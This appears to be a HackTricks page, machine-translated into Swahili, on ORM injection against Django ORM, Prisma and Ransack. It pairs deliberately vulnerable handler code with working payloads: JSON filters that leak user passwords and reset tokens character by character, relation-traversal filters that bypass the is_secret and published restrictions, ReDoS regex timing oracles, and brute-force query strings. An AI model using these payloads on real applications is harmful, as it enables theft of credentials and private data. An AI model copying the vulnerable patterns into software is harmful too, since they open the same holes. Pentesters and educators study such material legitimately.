ORM Injection

Reading time: 7 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Django ORM (Python)

Katika post hii inaelezwa jinsi inavyowezekana kufanya Django ORM kuwa hatarini kwa kutumia kwa mfano msimbo kama:

class ArticleView(APIView):
"""
Muonekano wa API wa msingi ambao watumiaji hupeleka maombi kwa ajili ya
kutafuta makala
"""
def post(self, request: Request, format=None):
try:
            articles = Article.objects.filter(**request.data)
            serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)

Kumbuka jinsi request.data yote (ambayo itakuwa json) inavyopitishwa moja kwa moja kwa kuchuja vitu kutoka kwenye hifadhidata. Mshambuliaji anaweza kutuma vichujio visivyotarajiwa ili kuvuja data zaidi ya ile iliyotarajiwa kutoka kwake.

Mifano:

  • Login: Katika kuingia rahisi jaribu kuvuja nywila za watumiaji walioandikishwa ndani yake.
json
{
"username": "admin",
"password_startswith": "a"
}

caution

Inawezekana kulazimisha nenosiri hadi litakapovuja.

  • Relational filtering: Inawezekana kupita katika uhusiano ili kuvujisha taarifa kutoka kwa safu ambazo hata hazikutarajiwa kutumika katika operesheni. Kwa mfano, ikiwa inawezekana kuvujisha makala zilizoundwa na mtumiaji kwa kutumia uhusiano huu: Article(created_by) -[1..1]-> Author (user) -[1..1]-> User(password).
json
{
"created_by__user__password__contains": "pass"
}

caution

Inawezekana kupata nenosiri la watumiaji wote ambao wameunda makala

  • Uchujaji wa uhusiano wa wengi kwa wengi: Katika mfano uliopita hatungeweza kupata nenosiri la watumiaji ambao hawakuunda makala. Hata hivyo, kufuatia uhusiano mwingine hii inawezekana. Kwa mfano: Article(created_by) -[1..1]-> Author(departments) -[0..*]-> Department(employees) -[0..*]-> Author(user) -[1..1]-> User(password).
json
{
"created_by__departments__employees__user_startswith": "admi"
}

caution

Katika kesi hii tunaweza kupata watumiaji wote katika idara za watumiaji ambao wameunda makala na kisha kuvuja nywila zao (katika json ya awali tunavuja tu majina ya watumiaji lakini kisha inawezekana kuvuja nywila).

  • Kunyanyasa Mahusiano ya Django Group na Permission ya wengi-kwa-wengi na watumiaji: Aidha, mfano wa AbstractUser unatumika kuunda watumiaji katika Django na kwa kawaida mfano huu una mahusiano ya wengi-kwa-wengi na meza za Permission na Group. Ambayo kimsingi ni njia ya kawaida ya kufikia watumiaji wengine kutoka kwa mtumiaji mmoja ikiwa wako katika kikundi kimoja au wanashiriki ruhusa sawa.
bash
# By users in the same group
created_by__user__groups__user__password

# By users with the same permission
created_by__user__user_permissions__user__password
  • Bypass filter restrictions: Blogu hiyo hiyo ilipendekeza kupita matumizi ya baadhi ya filtering kama articles = Article.objects.filter(is_secret=False, **request.data). Inawezekana kutoa makala ambazo zina is_secret=True kwa sababu tunaweza kurudi nyuma kutoka kwa uhusiano hadi kwenye jedwali la Article na kuvuja makala za siri kutoka kwa makala zisizo za siri kwa sababu matokeo yanajumuishwa na uwanja wa is_secret unakaguliwa katika makala zisizo za siri wakati data inavuja kutoka kwa makala za siri.
bash
Article.objects.filter(is_secret=False, categories__articles__id=2)

caution

Kutumia uhusiano kunawezekana kupita hata filters zilizokusudiwa kulinda data inayonyeshwa.

  • Error/Time based via ReDoS: Katika mifano ya awali ilitarajiwa kuwa na majibu tofauti ikiwa filtering ilifanya kazi au la ili kuitumia kama oracle. Lakini inaweza kuwa inawezekana kwamba hatua fulani inafanywa katika database na jibu kila wakati ni sawa. Katika hali hii inaweza kuwa inawezekana kufanya makosa ya database kupata oracle mpya.
json
// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}

// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
  • SQLite: Haina opereta ya regexp kwa msingi (inahitaji kupakia nyongeza ya upande wa tatu)
  • PostgreSQL: Haina muda wa kukatika wa regex wa msingi na ina uwezekano mdogo wa kurudi nyuma
  • MariaDB: Haina muda wa kukatika wa regex

Prisma ORM (NodeJS)

Ifuatayo ni hila zilizochukuliwa kutoka posti hii.

  • Udhibiti kamili wa kutafuta:
const app = express();

app.use(express.json());

app.post('/articles/verybad', async (req, res) => {
try {
// Mshambuliaji ana udhibiti kamili wa chaguo zote za prisma
        const posts = await prisma.article.findMany(req.body.filter)
        res.json(posts);
} catch (error) {
res.json([]);
}
});

Inawezekana kuona kwamba mwili mzima wa javascript unapitishwa kwa prisma ili kufanya maswali.

Katika mfano kutoka kwa posti ya asili, hii itakagua machapisho yote yaliyoundwa na mtu (kila chapisho linaundwa na mtu) ikirudisha pia taarifa za mtumiaji wa huyo mtu (jina la mtumiaji, nenosiri...)

json
{
"filter": {
"include": {
"createdBy": true
}
}
}

// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]

Ifuatayo inachagua machapisho yote yaliyoundwa na mtu mwenye nenosiri na itarudisha nenosiri:

json
{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}

// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
  • Udhibiti kamili wa kipengele cha where:

Tuchunguze hii ambapo shambulio linaweza kudhibiti kipengele cha where:

app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
            where: req.query.filter as any // Vulnerable to ORM Leaks
        })
res.json(posts);
} catch (error) {
res.json([]);
}
});

Inawezekana kuchuja nywila za watumiaji moja kwa moja kama:

javascript
await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas",
},
},
},
})

caution

Kutumia operesheni kama startsWith inawezekana kuvuja taarifa.

  • Kupita filtering ya uhusiano wa wengi kwa wengi:
javascript
app.post("/articles", async (req, res) => {
try {
const query = req.body.query
query.published = true
const posts = await prisma.article.findMany({ where: query })
res.json(posts)
} catch (error) {
res.json([])
}
})

Ni inawezekana kuvuja makala ambazo hazijachapishwa kwa kurudi nyuma kwenye uhusiano wa wengi-kwa-wengi kati ya Category -[*..*]-> Article:

json
{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}

Ni pia inawezekana kuvuja watumiaji wote wanaotumia uhusiano wa mzunguko wa wengi kwa wengi:

json
{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
  • Error/Timed queries: Katika chapisho la awali unaweza kusoma seti kubwa sana ya majaribio yaliyofanywa ili kupata mzigo bora wa kuvuja habari kwa kutumia mzigo wa muda. Hii ni:
json
{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}

Where the {CONTAINS_LIST} is a list with 1000 strings to make sure the response is delayed when the correct leak is found.

Ransack (Ruby)

Hizi mbinu zilipatikana katika hiki chapisho.

tip

Kumbuka kwamba Ransack 4.0.0.0 sasa inasisitiza matumizi ya orodha ya ruhusa wazi kwa sifa na ushirikiano unaoweza kutafutwa.

Mfano wa hatari:

ruby
def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end

Kumbuka jinsi ombi litakavyofafanuliwa na vigezo vilivyotumwa na mshambuliaji. Ilikuwa inawezekana kwa mfano kulazimisha nguvu token ya kurekebisha kwa:

http
GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...

Kwa kutumia brute-forcing na uhusiano wa uwezekano, ilikuwa inawezekana kuvuja data zaidi kutoka kwa hifadhidata.

References

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks